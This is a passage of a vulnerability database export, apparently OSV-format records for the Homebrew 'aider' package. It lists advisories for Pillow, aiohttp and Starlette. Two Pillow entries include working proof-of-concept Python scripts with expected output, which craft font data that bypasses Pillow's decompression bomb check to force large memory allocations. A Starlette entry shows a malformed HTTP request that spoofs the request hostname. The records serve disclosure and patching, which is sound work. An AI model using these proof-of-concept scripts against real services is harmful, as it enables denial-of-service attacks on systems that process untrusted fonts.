struct.pack(\"<IIII\", stype, 0, len(sdata), offset)\n        offset += len(sdata)\n    for _, sdata in secs:\n        out += sdata\n    return out\n\npcf = build_bomb_pcf(W, H)\nprint(f\"[*] PCF file size  : {len(pcf)} bytes\")\nprint(f\"[*] Glyph size     : {W} x {H} = {W*H:,} pixels\")\nprint(f\"[*] C-heap target  : {W*H//8//1024**2} MB  (mode '1' = 1 bit/pixel)\")\n\ntracemalloc.start()\ntry:\n    font = PcfFontFile(io.BytesIO(pcf))\n    _, peak = tracemalloc.get_traced_memory()\n    tracemalloc.stop()\n    print(f\"[!] CONFIRMED (persistent): bomb check bypassed — heap peak {peak/1024**2:.2f} MB\")\nexcept Exception as e:\n    _, peak = tracemalloc.get_traced_memory()\n    tracemalloc.stop()\n    print(f\"[!] CONFIRMED (transient): {type(e).__name__} after allocation\")\n    print(f\"    Heap peak: {peak/1024**2:.2f} MB\")\n    print(f\"    C-heap allocation of ~{W*H//8//1024**2} MB occurred before exception\")\n```\n\n**Expected output:**\n```\n[Image.open() path] BLOCKED by DecompressionBombError\n[*] PCF file size  : 148 bytes\n[*] Glyph size     : 14000 x 14000 = 196,000,000 pixels\n[*] C-heap target  : 23 MB  (mode '1' = 1 bit/pixel)\n[!] CONFIRMED (transient): ValueError after allocation\n    C-heap allocation of ~23 MB occurred before exception\n```\n\n**Amplification table:**\n\n| PCF file | Glyph dims | C-heap (mode '1') | Bomb check |\n|---|---|---|---|\n| 148 bytes | 14000 × 14000 | 23 MB (transient) | Bypassed |\n| 148 bytes | 65535 × 131070 | 1.07 GB (transient) | Bypassed |\n| ~512 MB | 65535 × 131070 | 1.07 GB (persistent) | Bypassed |\n\n## Impact\n- **Availability**: HIGH — up to 1.07 GB per glyph, no limit per font file\n- **Confidentiality**: None\n- **Integrity**: None\n- Any service loading PCF fonts from untrusted sources (e.g., `PcfFontFile(fp)`) is affected\n- `PcfFontFile` is never loaded via `Image.open()`, so the bomb check protection is completely absent from the entire PCF font loading path\n- Confirmed unpatched on `python-pillow/Pillow` `main` branch as of 2026-06-07","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-8v84-f9pq-wr9x"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54059"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2253.yaml"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-54060","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:20Z","upstream":["GHSA-5x94-69rx-g8h2","BIT-pillow-2026-54060","CVE-2026-54060","PYSEC-2026-2254"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.1_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"12.3.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow: `FontFile.compile()`: `Image.new()` called without `_decompression_bomb_check()`","details":"## Description\n\n`PIL/FontFile.py` `FontFile.compile()` assembles per-glyph images into a single combined bitmap using `Image.new(\"1\", (xsize, ysize))` without calling `Image._decompression_bomb_check()`. This is the base-class method shared by both `BdfFontFile` and `PcfFontFile`, and it is triggered whenever a loaded font is converted to an `ImageFont` or saved.\n\nNeither `BdfFontFile.BdfFontFile(fp)` nor `PcfFontFile.PcfFontFile(fp)` is registered with `Image.register_open()`, so Pillow's standard decompression bomb guard never fires for font objects. The compile step is the final opportunity to check the combined allocation — and it has no check.\n\n**Vulnerable code (`PIL/FontFile.py` lines ~64–92):**\n\n```python\ndef compile(self) -> None:\n    if self.bitmap:\n        return\n\n    h = w = maxwidth = 0\n    lines = 1\n    for glyph in self.glyph:              # up to 256 glyph slots\n        if glyph:\n            d, dst, src, im = glyph\n            h = max(h, src[3] - src[1])   # max glyph height — attacker-controlled\n            w = w + (src[2] - src[0])\n            if w > WIDTH:                  # WIDTH = 800\n                lines += 1\n                w = src[2] - src[0]\n            maxwidth = max(maxwidth, w)\n\n    xsize = maxwidth                       # ≤ 800 (capped by WIDTH constant)\n    ysize = lines * h                      # ← lines(256) × h(65535) = 16,776,960\n\n    if xsize == 0 and ysize == 0:\n        return\n\n    self.ysize = h\n    # NO _decompression_bomb_check() here ←\n    self.bitmap = Image.new(\"1\", (xsize, ysize))   # ← unchecked allocation\n```\n\n**\"Slow accumulation\" attack — per-glyph dimensions stay BELOW warning threshold:**\n\n| Metric | Per-glyph (800 × 875) | Combined bitmap (256 glyphs) |\n|---|---|---|\n| Pixel count | 700,000 | **179,200,000** |\n| DecompressionBombWarning threshold (89.4M) | 0.008× — **no warning** | 2.0× — above warning |\n| DecompressionBombError threshold (178.9M) | 0.004× — **no error** | **1.001× — above error** |\n\nWith PCF-maximum glyph height (65,535):\n\n| Metric | Value |\n|---|---|\n| lines | 256 (one per glyph slot, width=800 forces a wrap every glyph) |\n| h (max glyph height) | 65,535 |\n| xsize | 800 |\n| ysize = lines × h | 256 × 65,535 = **16,776,960** |\n| **Total pixels** | 800 × 16,776,960 = **13,421,568,000** |\n| **Ratio vs. DecompressionBombError threshold** | **75×** |\n| Memory (mode \"1\", 1 bit/pixel) | **~1.6 GB** |\n\n## Steps to reproduce\n\n**Proof of Concept script:**\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: FontFile.compile() bomb bypass\n256 glyphs at 800x875 each (individually below warning threshold)\n→ compile() creates 800x224000 = 179.2M px bitmap with NO bomb check\n\"\"\"\nfrom PIL import FontFile, Image\n\nMAX_GLYPHS = 256\nGLYPH_W    = 800\nGLYPH_H    = 875     # individual: 700K px — below 89.4M warning threshold\n\nclass MockFont(FontFile.FontFile):\n    def __init__(self):\n        super().__init__()\n        # Each glyph is individually safe (700K px < 89.4M warning)\n        im = Image.new(\"1\", (GLYPH_W, GLYPH_H))\n        for i in range(MAX_GLYPHS):\n            self.glyph[i] = (\n                (GLYPH_W, GLYPH_H),\n                (0, -GLYPH_H, GLYPH_W, 0),\n                (0, 0,        GLYPH_W, GLYPH_H),\n                im,\n            )\n\n# Confirm bomb check WOULD catch the combined size\ncombined_size = (GLYPH_W, MAX_GLYPHS * GLYPH_H)\ntry:\n    Image._decompression_bomb_check(combined_size)\n    print(\"[FAIL] bomb check did not raise — unexpected\")\nexcept Image.DecompressionBombError as e:\n    print(f\"[OK] bomb check WOULD block {combined_size}: {e}\")\n\n# Vulnerable path: compile() has NO bomb check\nfont = MockFont()\nfont.compile()   # → Image.new(\"1\", (800, 224000)) — no error raised\n\npx = font.bitmap.size[0] * font.bitmap.size[1]\nthreshold = Image.MAX_IMAGE_PIXELS * 2\nprint(f\"[BYPASS] compile() succeeded: bitmap={font.bitmap.size}\")\nprint(f\"         pixels={px:,}  ({px/threshold:.3f}× DecompressionBombError threshold)\")\nprint(f\"         No DecompressionBombError raised at any point.\")\n```\n\n**Expected output:**\n```\n[OK] bomb check WOULD block (800, 224000): Image size (179200000 pixels) exceeds limit\nof 178956970 pixels, could be decompression bomb DOS attack.\n[BYPASS] compile() succeeded: bitmap=(800, 224000)\n         pixels=179,200,000  (1.001× DecompressionBombError threshold)\n         No DecompressionBombError raised at any point.\n```\n\n**Verified live on Pillow 12.2.0 — compile() succeeds with no exception.**\n\n**Real-world trigger using BDF font file:**\n```python\nfrom PIL import BdfFontFile\nimport io\n\n# Load a crafted BDF font with 256 glyphs each claiming height=65535\n# (each glyph individually: 800 × 65535 = 52.4M px — below 89.4M warning)\n# compile() combined: 800 × 16,776,960 = 13.4B px — 75× error threshold\nfont = BdfFontFile.BdfFontFile(open(\"crafted_256glyph.bdf\", \"rb\"))\nfont.to_imagefont()   # → compile() → ~1.6 GB allocation, NO bomb check\n```\n\n**Attack scenarios:**\n\n| Scenario | Effect |\n|---|---|\n| Web font preview (`BdfFontFile(upload).to_imagefont()`) | DoS with crafted .bdf upload |\n| Server-side font renderer that loads PCF → `to_imagefont()` | OOM crash |\n| Font pipeline: load → render text | One malicious font file kills the process |\n\n## Impact\n\n- **Availability:** HIGH — `compile()` creates a combined bitmap whose pixel count scales as `WIDTH × lines × max_glyph_height` with no upper bound check. With max PCF glyph height (65,535) and 256 glyphs, the combined allocation is ~1.6 GB. With BDF (text-format, unbounded height), the allocation is limited only by system memory.\n- **Confidentiality:** None\n- **Integrity:** None\n\n**Affected call paths:**\n- `BdfFontFile.BdfFontFile(fp).to_imagefont()` → `FontFile.compile()`\n- `BdfFontFile.BdfFontFile(fp).save(filename)` → `FontFile.compile()`\n- `PcfFontFile.PcfFontFile(fp).to_imagefont()` → `FontFile.compile()`\n- `PcfFontFile.PcfFontFile(fp).save(filename)` → `FontFile.compile()`\n\nNeither `BdfFontFile` nor `PcfFontFile` is loaded via `Image.open()`, so the standard decompression bomb guard is **entirely absent** from the font loading code path. `compile()` is the only point where the combined allocation size is known, and it has no check.\n\nConfirmed unpatched on `python-pillow/Pillow` `main` branch as of 2026-06-08.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-5x94-69rx-g8h2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54060"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2254.yaml"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-54273","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:11Z","upstream":["GHSA-4fvr-rgm6-gqmc","CVE-2026-54273","PYSEC-2026-2107"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.1","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"aiohttp: HTTP/1 Pipelined Requests Queue Without Limit","details":"### Summary\n\nNo limit was present on the number of pipelined requests that could be queued.\n\n### Impact\n\nAn attacker may be able to use pipelined requests to use excessive amounts of memory, potentially leading to DoS.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/dfdfa9d5aad5d21f91c79fb2ceeba0f8046cb6cf","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-4fvr-rgm6-gqmc"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/dfdfa9d5aad5d21f91c79fb2ceeba0f8046cb6cf"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-54274","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:12Z","upstream":["GHSA-xcgm-r5h9-7989","CVE-2026-54274","PYSEC-2026-2108"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.1","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"aiohttp: Incomplete websocket frame payloads bypass memory limits","details":"### Summary\n\nIf an attacker sends large incomplete websocket frame payloads, it may be possible to bypass the usual size limits on memory use.\n\n### Impact\n\nIf a web application has WebSocket endpoints, it may be possible for an attacker to execute a DoS attack through excessive memory use.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/14b6ee851fb16ec199acb950de0c82d476799e7d","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-xcgm-r5h9-7989"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-54275","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:11Z","upstream":["GHSA-4m7w-qmgq-4wj5","CVE-2026-54275","PYSEC-2026-237"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.1","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"aiohttp: TLS Server Hostname Override Is Ignored When Reusing HTTPS Connections","details":"### Summary\n\nThe `server_hostname` TLS SNI check can be bypassed when an existing connection is reused.\n\n### Impact\n\nIf an application makes multiple requests to the same domain, but with different per-request `server_hostname` parameters, then the later calls may succeed by reusing the existing connection when they should have been rejected due to the TLS SNI check.\n\n### Workaround\n\nDisable keep_alive if you need to change the `server_hostname` check between requests.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/0ca2b6c28a25726527a8b60f25960262a91ed0e0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-4m7w-qmgq-4wj5"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-54276","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:11Z","upstream":["GHSA-hpj7-wq8m-9hgp","CVE-2026-54276","PYSEC-2026-2109"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.1","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"aiohttp: DigestAuthMiddleware Applies Credentials to Cross-Origin Redirect Challenges","details":"### Summary\n\n``DigestAuthMiddleware`` can send an authentication response after following a cross-origin redirect.\n\n### Impact\n\nIf the client follows a redirect (the default option) to an attacker controlled domain, the attacker may be able to extract the auth digest.\n\nThis likely requires an open redirect vulnerability or similar on the target domain for an attacker to be able to execute. Further, the attacker is only receiving the digest, so should only be able to extract the user's credentials if the cryptography is weak or there is some kind of password reuse.\n\n### Workaround\n\nDisable ``follow_redirects`` if this is a concern.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/38d16060037e1bfcd6d677abababa3c2a4bb58fa","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-hpj7-wq8m-9hgp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/38d16060037e1bfcd6d677abababa3c2a4bb58fa"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-54277","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:11Z","upstream":["GHSA-63hw-fmq6-xxg2","CVE-2026-54277","PYSEC-2026-2110"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.1","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"aiohttp: C HTTP Parser Bypasses max_line_size for Fragmented Lines","details":"### Summary\n\nIt is possible to bypass the max_line_size check in parts of an HTTP request in the C parser.\n\n### Impact\n\nIf using the optimised C parser (the default in pre-built wheels), then an attacker may be able to send oversized lines through the HTTP parser and use an excessive amount of memory, potentially leading to DoS.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/5ab61bb4cd88f19b712f12c7c9295fe262bf804d","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-63hw-fmq6-xxg2"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/5ab61bb4cd88f19b712f12c7c9295fe262bf804d"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-54278","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:11Z","upstream":["GHSA-g3cq-j2xw-wf74","CVE-2026-54278","PYSEC-2026-2111"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.1","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"aiohttp: Unread Compressed Request Bodies Bypass client_max_size During Cleanup","details":"### Summary\n\nDuring cleanup it is possible for a compressed request body to be decompressed into memory in one chunk.\n\n### Impact\n\nAn attacker may be able to send a compressed payload in specific situations that could be decompressed into memory, potentially leading to DoS (a zip bomb edge case).\n\n### Workaround\n\nDisable compression if unable to upgrade.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/4f7480e474cccc6a8cc2c92ad3f17a31dedf8232","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-g3cq-j2xw-wf74"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-54279","published":"2026-08-13T16:35:12Z","modified":"2026-11-04T00:33:58Z","upstream":["GHSA-2fqr-mr3j-6wp8","CVE-2026-54279","PYSEC-2026-2112"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.1","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"aiohttp: Host-Only Cookies Become Domain Cookies After CookieJar Persistence","details":"### Summary\n\nHost-only cookies that are saved with ``CookieJar.save()`` and then restored later with ``CookieJar.load()`` lose their host-only status.\n\n### Impact\n\nHost-only cookies that have been loaded from disk may get sent to subdomains that previously should have been disallowed.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/a329a7aacad5284f087af36103aff778746da0f2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-2fqr-mr3j-6wp8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54279"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/a329a7aacad5284f087af36103aff778746da0f2"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/aiohttp/PYSEC-2026-2112.yaml"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-54280","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:11Z","upstream":["GHSA-9x8q-7h8h-wcw9","CVE-2026-54280","PYSEC-2026-2113"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.1","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"aiohttp: Payload Response Resources Are Not Closed After Mid-Body Disconnect","details":"### Summary\n\nPayload resources are not closed correctly when a client disconnects in the middle of a write.\n\n### Impact\n\nIf a payload is using an open file or similar limited resource, then an attacker may be able to cause resource starvation temporarily until garbage collection or similar closes the file.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/a762eda5242f6490d6ba667533193f8b473ad587","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-9x8q-7h8h-wcw9"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/a762eda5242f6490d6ba667533193f8b473ad587"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-54282","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:39Z","upstream":["GHSA-jp82-jpqv-5vv3","CVE-2026-54282","PYSEC-2026-248"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.2"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"1.3.0","resource":"starlette","resource_purl":"pkg:pypi/starlette@0.52.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"starlette","subject_version":"0.52.1","key":"pkg:pypi/starlette@0.52.1","resource":"starlette"}]},"summary":"Starlette: Unvalidated request path concatenated into authority poisons request.url.hostname","details":"### Summary\n\nIn affected versions, the HTTP request path is not validated before being used to reconstruct `request.url`. Because `request.url` is rebuilt by concatenating `{scheme}://{host}{path}` and re-parsing the result, a path that does not begin with `/` (for example `@google.com`) moves the authority boundary during re-parsing, so `request.url.hostname` and `request.url.netloc` become attacker-controlled. Code that reads `request.url.hostname` (rather than the `Host` header or `scope`) can therefore be misled into trusting an attacker-supplied host.\n\n### Details\n\nWhen a client requests a path that does not start with `/`:\n\n```http\nGET @google.com HTTP/1.1\nHost: localhost\n```\n\naffected versions reconstruct the URL as `http://localhost@google.com`. Per [RFC 3986 §3.2.1](https://www.rfc-editor.org/rfc/rfc3986.html#section-3.2.1), the substring before `@` in the authority is `userinfo`, so re-parsing yields `username = \"localhost\"` and `hostname = \"google.com\"`, with an empty path:\n\n```text\nrequest.url          == \"http://localhost@google.com\"\nrequest.url.hostname == \"google.com\"\nrequest.url.path     == \"\"\n```\n\nThe root cause is that the path is concatenated directly after the host without a separating `/`, and without validating that it begins with one. Only the `Host` header was validated when constructing `request.url`; the path was not.\n\nThis requires an ASGI server that forwards a request-target lacking a leading `/` into `scope[\"path\"]`.\n\n### Impact\n\nAny application running an affected version that uses `request.url`, `request.url.netloc`, or `request.url.hostname` for a security-sensitive decision (host-based authorization, redirect/callback base, SSRF target, cache key, audit log) may be affected, when no fronting proxy or load balancer rejects the malformed request-target first.\n\nNote that this is less exploitable than [GHSA-86qp-5c8j-p5mr](https://github.com/Kludex/starlette/security/advisories/GHSA-86qp-5c8j-p5mr): there, the poison is carried in the `Host` header, so the real path still routes to a valid endpoint while `request.url.path` lies. Here, the poison must be carried in the path itself, and that path (`@google.com`) does not match any registered route, so routing returns `404` and no endpoint handler runs. The exposure is limited to code that reads `request.url` before routing - notably middleware - or in 404/exception handlers.\n\n### Mitigation\n\nUpgrade to a patched version, which prevents the request path from crossing into the URL authority. The request above instead yields `http://localhost/@google.com` with `request.url.hostname == \"localhost\"`.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/Kludex/starlette/security/advisories/GHSA-jp82-jpqv-5vv3"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54282"},{"type":"PACKAGE","url":"https://github.com/Kludex/starlette"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/starlette/PYSEC-2026-248.yaml"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-54283","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:38Z","upstream":["GHSA-82w8-qh3p-5jfq","CVE-2026-54283","PYSEC-2026-249"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.2"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"1.3.1","resource":"starlette","resource_purl":"pkg:pypi/starlette@0.52.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"starlette","subject_version":"0.52.1","key":"pkg:pypi/starlette@0.52.1","resource":"starlette"}]},"summary":"Starlette: request.form() limits silently ignored for application/x-www-form-urlencoded enable DoS","details":"### Summary\n`request.form()` accepts `max_fields` and `max_part_size` to bound resource consumption while parsing form data. These limits are enforced for `multipart/form-data`, but silently ignored for `application/x-www-form-urlencoded`. An unauthenticated attacker can therefore send a urlencoded body with an arbitrarily large number of fields or an arbitrarily large field, even when the application configured limits it believed would apply.\n\n### Details\n`request.form()` dispatches to a different parser depending on the `Content-Type`. For `multipart/form-data` the `max_files`, `max_fields`, and `max_part_size` limits are forwarded to the parser, but for `application/x-www-form-urlencoded` the parser is constructed without them. It has no `max_fields` or `max_part_size` parameter to receive them, and it appends every field with no count check and accumulates each field's name and value with no size check. The configured limits are therefore both unreachable and unenforced for url-encoded bodies.\n\nBecause the url-encoded parser does its work synchronously between stream reads, the two attack shapes have different effects:\n\n- **Field count** drives CPU and event-loop blocking. A body of ~1,000,000 fields (a sub-10MB payload such as `f0=v&f1=v&...`) blocks the worker's event loop for several seconds while parsing, during which the worker serves no other request.\n- **Field size** drives memory. A single large field value (e.g. a 50MB value) is buffered in full to build the `FormData`, forcing memory allocation proportional to the request body.\n\nThe equivalent `multipart/form-data` request is correctly rejected with `400 Too many fields` / 